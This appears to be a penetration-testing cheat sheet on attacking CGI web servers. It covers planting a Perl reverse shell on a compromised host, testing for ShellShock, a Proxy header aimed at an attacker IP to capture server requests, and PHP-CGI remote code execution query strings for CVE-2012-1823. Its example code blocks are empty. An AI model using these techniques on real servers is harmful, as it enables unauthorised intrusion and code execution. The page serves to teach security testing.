CGI
Information
The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl
), change the extension from .pl to .cgi, give execute permissions (chmod +x
) and access the reverse shell from the web browser to execute it.
In order to test for CGI vulns it's recommended to use nikto -C all
(and all the plugins)
ShellShock
Bash can also be used to run commands passed to it by applications and it is this feature that the vulnerability affects. One type of command that can be sent to Bash allows environment variables to be set. Environment variables are dynamic, named values that affect the way processes are run on a computer. The vulnerability lies in the fact that an attacker can tack-on malicious code to the environment variable, which will run once the variable is received.
Exploiting this vulnerability the page could throw an error.
You could find this vulnerability noticing that it is using an old Apache version and cgi_mod (with cgi folder) or using nikto.
Test
Most tests are based in echo something and expect that that string is returned in the web response. If you think a page may be vulnerable, search for all the cgi pages and test them.
Nmap
Curl (refelcted and blind)
****Shellsocker****
Exploit
Proxy (MitM to Web server requests)
CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"
As the HTTP_PROXY variable could be used by the web server. Try to send a header containing: "Proxy: <IP_attacker>:<PORT>" and if the server performs any request during the session. You will be able to capture each request made by the server.
Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Basically if cgi is active and php is "old" (<5.3.12 / < 5.4.2) you can execute code.
In order t exploit this vulnerability you need to access some PHP file of the web server without sending parameters (specially without sending the character "=").
Then, in order to test this vulnerability, you could access for example /index.php?-s
(note the -s
) and source code of the application will appear in the response.
Then, in order to obtain RCE you can send this special query: /?-d allow_url_include=1 -d auto_prepend_file=php://input
and the PHP code to be executed in the body of the request.
Example:
More info about the vuln and possible exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
Last updated